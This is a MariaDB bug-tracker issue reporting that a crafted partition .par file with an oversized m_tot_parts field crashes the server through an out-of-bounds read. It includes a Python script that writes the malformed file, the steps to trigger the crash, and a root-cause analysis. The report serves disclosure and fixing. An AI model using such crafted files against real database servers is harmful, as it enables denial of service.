Uploaded image for project: 'MariaDB Server'
  1. MariaDB Server
  2. MDEV-36553

MariaDB crashes with segmentation fault (SIGSEGV) when a partitioned table's .par file contains a crafted m_tot_parts field with a very large value (e.g., 0xFFFFFFF0), leading to out-of-bounds read and invalid memory access

    XMLWordPrintable

Details

    Description

      MariaDB crashes with a segmentation fault (SIGSEGV) when a partitioned table’s .par file contains a crafted m_tot_parts field with a very large value (e.g., 0xFFFFFFF0). This causes an out-of-bounds read in ha_partition::read_par_file(), ultimately leading to an invalid memory access.

      Steps to Reproduce:
      1. Create a minimal my.cnf:

      port=3307
      socket=/tmp/mariadb.sock
      datadir=/tmp/mariadb-data
      skip-networking
      skip-grant-tables
      log-error=/tmp/mariadb-test/mysqld.log
      

      2. Fake-initialize a MariaDB datadir without running mysql_install_db:

      mkdir -p /tmp/mariadb-data/mysql
      touch /tmp/mariadb-data/mysql/user.frm
      

      3. Start mariadbd under a debugger with a fake partitioned table and malformed .par file

      4. Create a testdb.test_table table:

      CREATE DATABASE testdb;
      USE testdb;
      CREATE TABLE test_table (
        id INT NOT NULL,
        name VARCHAR(50)
      ) ENGINE = InnoDB
      PARTITION BY HASH(id) PARTITIONS 4;
      

      5. Replace test_table.par with a crafted file:

      import struct
      def uint4(x): return struct.pack("<I", x)
      def uint4u(x): return struct.unpack("<I", x)[0]
      buf = bytearray(32)
      buf[0:4] = uint4(8)                   
      buf[4:8] = uint4(0xFFFFFFF0)          
      for i, val in enumerate([0x41414141, 0x42424242, 0x43434343, 0x44444444, 0x45454545, 0x46464646]):
          buf[8+i*4:12+i*4] = uint4(val)
      chk = 0
      for i in range(0, len(buf), 4):
          chk ^= uint4u(buf[i:i+4])
      buf[-4:] = uint4(uint4u(buf[-4:]) ^ chk)
       
      with open("/tmp/mariadb-data/testdb/test_table.par", "wb") as f:
          f.write(buf)
      

      6. Trigger a query

      mysql -S /tmp/mariadb.sock -u root -e "SELECT * FROM testdb.test_table;"
      

      7. Observe the crash:

      [New Thread 0x7fffcd0c2700 (LWP 9543)]
      [*] Writing malicious .par file...
      [*] Triggering SELECT on testdb.test_table...
       
      Thread 13 "one_connection" received signal SIGSEGV, Segmentation fault.
      [Switching to Thread 0x7fffcd0c2700 (LWP 9543)]
      0x0000000001e00080 in ha_partition::read_par_file (this=0x62500025b040, name=<optimized out>) at /server/sql/ha_partition.cc:3183
      3183	  tot_name_words= (uint4korr(tot_name_len_offset) + PAR_WORD_SIZE - 1) /
      

      8. Technical Root Cause
      In read_par_file() (file: sql/ha_partition.cc, 3183):

      tot_name_len_offset= file_buffer + PAR_ENGINES_OFFSET +
                             PAR_WORD_SIZE * tot_partition_words;
        tot_name_words= (uint4korr(tot_name_len_offset) + PAR_WORD_SIZE - 1) /
                        PAR_WORD_SIZE;
        /*
      

      No sanity checks exist for m_tot_parts. If this value is large (e.g., 0xFFFFFFF0), the offset will point far beyond file_buffer, causing undefined behavior and a segmentation fault on access.

      Attachments

        1. test_table.par
          0.0 kB
          Anastasia Koltsova

        Activity

          People

            holyfoot Alexey Botchkov
            3xt3r Anastasia Koltsova
            Votes:
            0 Vote for this issue
            Watchers:
            2 Start watching this issue

            Dates

              Created:
              Updated:

              Git Integration

                Error rendering 'com.xiplink.jira.git.jira_git_plugin:git-issue-webpanel'. Please contact your Jira administrators.